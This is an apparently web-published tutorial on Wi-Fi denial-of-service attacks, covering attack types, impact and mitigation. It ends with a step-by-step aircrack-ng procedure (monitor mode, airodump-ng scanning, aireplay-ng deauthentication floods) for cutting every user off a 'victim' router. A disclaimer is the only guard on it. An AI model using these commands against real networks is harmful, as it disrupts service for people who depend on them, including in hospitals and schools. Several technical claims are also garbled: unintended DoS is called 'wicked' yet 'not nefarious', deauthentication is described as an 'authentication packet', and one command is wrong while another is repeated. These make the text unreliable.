Wireless DOS Attack on WiFi

A Dos attack is a denial-of-service attack that affects the server or a website by sending a request for traffic and making it unreachable or unavailable. This article will help you to know the workings of a dos attack on a Wifi

What Does a DoS Attack Do?

Let's know how the DOS attack works before diving into a Wireless DOS Attack on WiFimakes.  So a Dos attack means to shut down a computer or the whole network, making it unreachable to its users. It is accomplished by sending a huge request traffic, or by sending some data that makes the server crash. Attackers mainly target web servers like media companies, e-commerce websites, banking, etc. Most of the time, a DOS attack doesn't result in loss of data. 

Types of DoS Attack

There are 3 types of DOS attacks:

1.  Application-layer flood: In this type of attack, an attacker sends a large number of requests on a server, which results in server crashes and slow speeds of the network. In  Application-layer flood requests may vary within the range of thousands in a second to millions, which consume huge resources until the server crashes or is unreachable to the user.

2. Distributed Denial of Services Attacks: There is not much difference between a DOS and a DDoS attack. In this attack, not only one computer sends requests but several computers are engaged in sending requests to a specific target, making it disabled. These computers have been hacked earlier and can be controlled by the attacker.

3. Unintended Denial of Service Attacks: This type of attack is wicked, i.e they are not nefarious. In this attack, websites are overwhelmingly flooded with legitimate traffic to their destination where the server is brought down completely.

Wireless DOS Attack on WiFi

A wireless DOS attack on Wi-Fi is a kind of cyber attack that aims to spoil/disrupt the normal functionality of Wi-Fi. The main objective of Dos attacks is to make Wi-Fi unavailable to its users, making network resources and services unavailable. A Wireless DoS attack on WiFi floods the network with traffic, causing disruption. This overloads the WiFi, making it slow or unusable for legitimate users. Attackers often target weak points in the network's security.

Impact and Consequences

1. Unavailability of Network: As the main goal of the DoS attack is to make the network unavailable to the legitimate users, the devices that are connected via WiFi may face the issue of frequent interruption, or the WiFi may disconnect.
2. Loss of Data: The organizations that rely completely on the WiFi for cloud operations, customer interactions etc may be interrupted, resulting in loss of potential data.
3. Lack of Security: As the network is made down, the attackers may spot the vulnerabilities and introduce the malwares making them to dive deeper into the system and corrupt the data.

Mitigation Strategies

1. Monitor the Network: Keeping an eye on the network traffic and identifying unusual behaviour in the network helps to avoid the DOS attacks.
2. Authenticated Devices: Allowing only the authenticated devices to connect to the WiFi can reduce the chances of attracting Dos attacks.
3. Network Security Plan: Implementing a plan, that can quickly address the Dos attack and can identify these attacks before hand can be advantageos in the future .

How To Perform a DOS Attack on WiFi?

Hacking wifi is the best way to check the security parameters and vulnerabilities over a network. In this attack, we will use aircrack-ng and make the user unable to use wifi via dos attack. In this attack, we will just scan all available Wifi networks and collect their BSSID, channel, and type of security. Then we will disable user access from wifi by sending packets to its wireless access point.

NOTE: Do not use dos attack for illegal purposes, this article will not be responsible for any illegal activity.

Before starting, make sure you have a kali-linux in your computer and a Wifi adaptor with monitor mode.

• Make sure Kali-Linux is fully updated.

sudo apt update && sudo apt upgrade

Now, you are ready to perform a dos attack.

• Start your kali-linux. Now open your terminal in three windows.
•  Type ifconfig in the terminal to see the wireless adaptor.
• Just note down your wifi name.
• In next step, we have to turn on monitor mode in our wifi adaptor. To turn on this, we will use the below command.

   airmon-ng start <wifi name>

• To check whether your wireless adaptor is in monitor mode or not, use this command.

   iwconfig

• Scan nearby networks for their BSSID and its channel.

airodump-ng -i <wifi name>

• Now, stop the scanning process after copying the BSSID of the victim router.
• To send the packet which makes the user inaccessible to a wifi network, type the below command.

aireplay-ng -0 <number of packets> -a <bssid of target network> -c <target client> <wifi name>

1. bssid of target network = copy the BSSID of victim's router.

2. Target client=paste the MAC address of the user, you want to disconnect specifically. (optional)

3. Wifi name= your adaptor name.

• Now, we need to configure our channel.
• Stop the network scanning. Press CTRL+C.

airodump-ng -c <broadcasting channel of router> -i  <wifi name>

• To disconnect all users type the below command.

aireplay-ng -0 <number of packets> -a <bssid of target network> -c <target client> <wifi name>

• This will send an authentication packet and make all users inaccessible to the wifi network.

Now, no user will have permission to connect with the network until we stop sending packets.

How Harmful are DoS Attacks

• In a home or small business network , Dos attacks can cause interrupted internet browsing.
• In a school or medium business network, Dos attacks can cause severe impact on communication, productivity or even announcement of the halltickets and the exam results.
• In a hospitals or large business network, Dos attacks can cause delayed operations and inability to access critical systems.

Conclusion

As we know, a Dos attack is a very genuine threat and it will affect the system or network brutally. Dos attacks are performed intentionally and sometimes they happen unintentionally as discussed above. So this is the dos attack we perform on the wireless networks and make all connected users inaccessible from the network.